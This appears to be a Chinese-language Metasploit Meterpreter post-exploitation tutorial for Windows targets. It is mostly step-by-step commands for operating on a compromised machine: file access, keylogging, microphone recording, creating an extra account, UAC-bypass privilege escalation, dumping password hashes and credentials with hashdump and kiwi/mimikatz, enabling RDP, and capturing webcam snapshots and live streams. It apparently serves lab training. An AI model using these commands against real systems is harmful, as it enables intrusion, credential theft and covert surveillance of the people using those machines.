1.后渗透之访问文件系统
1.文件交互指令
| ID | Command | Description |
|---|---|---|
| 1 | cat | 读取文件内容 |
| 2 | cd | 切换靶机目录 |
| 3 | cp | 复制文件到目标 |
| 4 | mv | 移动到目标 |
| 5 | chmod | 修改文件权限(比如chmod 777 shell.elf) |
| 6 | del / rm | 删除靶机文件 |
| 7 | dir | 打印靶机目录 |
| 8 | mkdir | 在靶机上创建目录 |
| 9 | rmdir | 删除靶机目录 |
| 10 | edit | 编辑文件 |
| 11 | getlwd | 打印监控机目录 |
| 12 | getwd | 打印靶机目录 |
| 13 | lcd | 更改本地目录 |
| 14 | lls | 列出本地目录 |
| 15 | ls | 列出靶机文件目录 |
| 16 | lpwd | 打印本地目录 |
| 17 | pwd | 打印工作目录 |
| 19 | search | 搜索文件 详情search -h |
Linux权限理解
chmod 777 {文件名.后缀}
chmod 777 shell.elf
2.后渗透之上传下载文件
| ID | Command | Description |
|---|---|---|
| 1 | upload | 传文件到靶机 |
| 2 | download | 从靶机下载文件 |
3.后渗透之屏幕截图
| ID | Command | Description |
|---|---|---|
| 1 | screenshot | 截图(Windows) |
4.后渗透之键盘记录
| ID | Conmmand | Description |
|---|---|---|
| 1 | keyscan_start | 启动键盘记录(Windows) |
| 2 | keyscan_dump | 导出键盘(Windows) |
| 3 | keyscan_stop | 停止键盘记录(Windows) |
5.后渗透之账号创建
一、环境准备
1 MSF-Metasploit Framework
2 一台获取到meterpreter的靶机
二、实际操作
1、先看下目标靶机已存在用户 meterpreter中输入:run post/windows/gather/enum_logged_on_users

2、使用getgui创建 一个用户名为 msb 密码为 123456 的账户
run getgui -u msb -p 123456
run getgui -u {用户名}-p {密码}
进入win的运行输入netplwiz 可以查看账户创建情况
[-] Insufficient privileges, account was not be created. 看到这个提示就需要先提权(获取到system)
2.1 绕过UAC提权
先获取session 输入 bg

输入提权模块 use exploit/windows/local/ask
再输入 options 查看配置参数

把刚才的session输入进去:set session 1
,再run 一下

不用管报错,已经成功了。

6.后渗透之录音
一、环境准备 MSF-Metasploit Framework 一台安装手机或者模拟器 二、实践
record_mic 包含4个可选参数 分别为
-d 是设置录音时长的
-f 设置未见路径的
-h 查看帮助的
-p 控制自动播放的
一条简单的录音语句
record_mic -d 10 -p true
7.后渗透之提权
一、环境准备
1 MSF-Metasploit Framework
2 一台windiows靶机
二、实战
1 提权方法(Windows)查看当前获得用户的权限 meterpreter 中输入: getuid
![]()
方法一、 meterpreter中输入:getsystem
![]()
方法二、使用msf模块提权
要想提权必须是已经拿到meterpreter 然后将当前meterpreter 后台 meterprerer中输入 background
1、 查看可用模块 MSF终端中输入 search bypassuac 查看提权模块
2、 选择一个适合当前系统的提权模块 我这边使用的是win10系统
那我们使用:use exploit/windows/local/bypassuac_windows_store_reg 尝试提权
这个模块不行就换一个 use exploit/windows/local/bypassuac_sluihijack
或者 use exploit/windows/local/bypassuac_dotnet_profiler
3 配置模块使用参数 终端内输入: show options
4 可以看到需要配置 session 终端内输入:set session {需要提权的session id}
5 执行提权 终端内输入:run
6 获取到meterpreter后 我们在终端内 输入getuid 看实际还没有提权成功 需要在还终端内在输入 getsystem 获取权限
7 获取权限完成后 输入getuid 即可看到 已经获取到SYSTEM 最高权限了
![]()
看到这个证明已经将权限提升成功
8.后渗透之获取登录账号和密码
一、环境准备
1 MSF-Metasploit Framework
2 一台windiows靶机
二、实战
首先获得一个有SYSTEM权限的meterpreter

1 抓取自动登录账户密码
2 导出SAM数据库本地账户密码文件
3 导出密码哈希
4 使用kiwi模块获取
1 很多人喜欢给在计算机设置自动登录 我们可以通过抓取自动登录的账户密码
run windows/gather/credentials/windows_autologin
如果提示这证明本机并没有配置自动登录

2 还可以通过导出SAM数据库中的本地用户账号(注意需要提权到SYSTEM)
run post/windows/gather/smart_hashdump

| 用户名 | SID | LM哈希: | NTLM哈希1::: |
|---|---|---|---|
| mb | 1000 | aad3b435b51404eeaad3b435b51404ee | 32ed87bdb5fdc5e9cba88547376818d4 |

3 使用 hashdump 获取密码(注意需要提权到SYSTEM才能使用)
终端内输入 run hashdump

使用在线解析工具 md5在线解密破解,md5解密加密
NTLM哈希 例子:32ed87bdb5fdc5e9cba88547376818d4

4 使用load kiwi(使用kiwi模块需要system权限)
kiwi_cmd 模块可以让我们使用mimikatz的全部功能, mimikatz 的命令直接在kiwi_cmd里直接使用
5.1 终端输入 load kiwi
5.2 creds_all 直接获取密码

5.3 使用 kiwi_cmd sekurlsa::logonpasswords 获取密码

| ID | kiwi参数和描述 |
|---|---|
| 1 | creds_all:列举所有凭据 |
| 2 | creds_kerberos:列举所有kerberos凭据 |
| 3 | creds_msv:列举所有msv凭据 |
| 4 | creds_ssp:列举所有ssp凭据 |
| 5 | creds_tspkg:列举所有tspkg凭据 |
| 6 | creds_wdigest:列举所有wdigest凭据 |
| 7 | dcsync:通过DCSync检索用户帐户信息 |
| 8 | dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID |
| 9 | golden_ticket_create:创建黄金票据 |
| 10 | kerberos_ticket_list:列举kerberos票据 |
| 11 | kerberos_ticket_purge:清除kerberos票据 |
| 12 | kerberos_ticket_use:使用kerberos票据 |
| 13 | kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 |
| 14 | lsa_dump_sam:dump出lsa的SAM |
| 15 | lsa_dump_secrets:dump出lsa的密文 |
| 16 | password_change:修改密码 |
| 17 | wifi_list:列出当前用户的wifi配置文件 |
| 18 | wifi_list_shared:列出共享wifi配置文件/编码 |
9.后渗透之远程控制
一、环境准备
1 rdesktop
在线安装 rdesktop
Debian,Ubuntu,kali下使用以下命令
apt-get install rdesktop
Centos/RedHat可以通过yum命令
yum -y install rdesktop
2 一台windiows靶机(没有物理电脑可以使用虚拟机代替)
3 MSF-Metasploit Framework
二、实战
1 使用rdesktop远程控制
说明:rdesktop是linux下支持Windows远程桌面连接的客户端程序,在linux系统下可通过它远程访问Windows桌面,支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目,采用RDP(Remote Desktop Protocol,远程桌面协议),几乎可以连接windows的所有版本
rdesktop常用参数
| id | 参数 | 描述 |
|---|---|---|
| 1 | -u | 账户名 |
| 2 | -p | 密码 |
| 3 | -a 16 | 指使用16位色显示远程画面 |
| 4 | -f | 全屏模式(用Ctrl+Alt+Enter 组合键退出全屏) |
| 5 | -g | 设置分辨率 如 : -g 1024x768 |
| 6 | rdesktop -h | 查看rdesktop使用帮助 |
rdesktop -u 用户名 -p 密码 -f IP
rdesktop -u mb -p 123456 -f -g 1024x720 192.168.110.24
如果远程计算机没有启动远程功能我们可以在meterpreter中输入
启动远程桌面协议:run post/windows/manage/enable_rdp
2 通过vnc远程

10.后渗透之摄像头调用
一、环境准备
1 MSF-Metasploit Framework
2 一台windiows靶机
3 一台安卓设备,没有可以使用模拟器
二、实战
靶机获取到meterpreter后我们可以使用 webcam模块实现调用软,硬件摄像头
webcam模块支持命令
| id | 模块名 | 解释 |
|---|---|---|
| 1 | webcam_list | 列出靶机中的所有软,硬件摄像头列表,并编号 |
| 2 | webcam_snap | 可调用单个软,硬件摄像头拍照,默认调用第一个摄像头 |
| 3 | webcam_stream | 可调用单个软,硬件摄像头直播,默认调用第一个摄像头 |
1 webcam_list
2 webcam_snap 调用单个软,硬
件摄像头拍照
| id | 参数 | 描述 |
|---|---|---|
| 1 | -h | 显示帮助 |
| 2 | -i | -i 1 “1”代表调用摄像头编号 |
| 3 | -p | -p /root "root"设置存储路径 |
| 4 | -q | -q 100 "100" 表示存储图片的质量默认为 50 |
| 5 | -v | -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true |
3 webcam_stream 调用单个软,硬件摄像头直播

| id | 参数 | 描述 |
|---|---|---|
| 1 | -h | 显示帮助 |
| 2 | -d | -d 100 "100"=100秒 设置流持续时间为100秒 默认为1800 |
| 3 | -i | -i 1 “1”代表调用摄像头编号 |
| 4 | -q | -q 100 “100”指流质量 默认为50 |
| 5 | -s | -s live “live”指流文件路径 默认输出在当前目录(注意目录不存在不会自动创建) |
| 7 | -f | -f live “live”指播放文件的存储地址 默认输出在当前目录 |
| 8 | -v | -v false -v 2个参数 true 和 false 这个参数表示拍照后自动打开,默认参数为true |